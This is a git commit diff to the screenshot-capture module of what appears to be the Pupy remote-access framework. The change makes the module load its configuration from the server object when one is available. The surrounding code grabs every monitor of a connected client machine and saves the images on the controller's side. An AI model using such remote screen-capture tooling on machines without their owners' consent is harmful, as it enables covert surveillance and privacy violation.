Use config from pupysrv if possible

This commit is contained in:
Oleksii Shevchuk 2017-04-11 21:34:45 +03:00
parent 4db302b048
commit 3df62c7fa5
1 changed files with 2 additions and 2 deletions

View File

@ -66,7 +66,7 @@ class Screenshoter(PupyModule):
'({}x{})'.format(screen['top'], screen['left']))) '({}x{})'.format(screen['top'], screen['left'])))
return return
config = PupyConfig() config = self.client.pupsrv.config or PupyConfig()
folder = config.get_folder('screenshots', {'%c': self.client.short_name()}) folder = config.get_folder('screenshots', {'%c': self.client.short_name()})
screenshots, error = rscreenshot.screenshot(args.screen) screenshots, error = rscreenshot.screenshot(args.screen)
@ -74,7 +74,7 @@ class Screenshoter(PupyModule):
self.error(error) self.error(error)
else: else:
self.success('number of monitor detected: %s' % str(len(screenshots))) self.success('number of monitor detected: %s' % str(len(screenshots)))
for i, screenshot in enumerate(screenshots): for i, screenshot in enumerate(screenshots):
filepath = path.join(folder, str(datetime.datetime.now()).replace(" ","_").replace(":","-")+'-'+str(i)+".png") filepath = path.join(folder, str(datetime.datetime.now()).replace(" ","_").replace(":","-")+'-'+str(i)+".png")
with open(filepath, 'w') as out: with open(filepath, 'w') as out: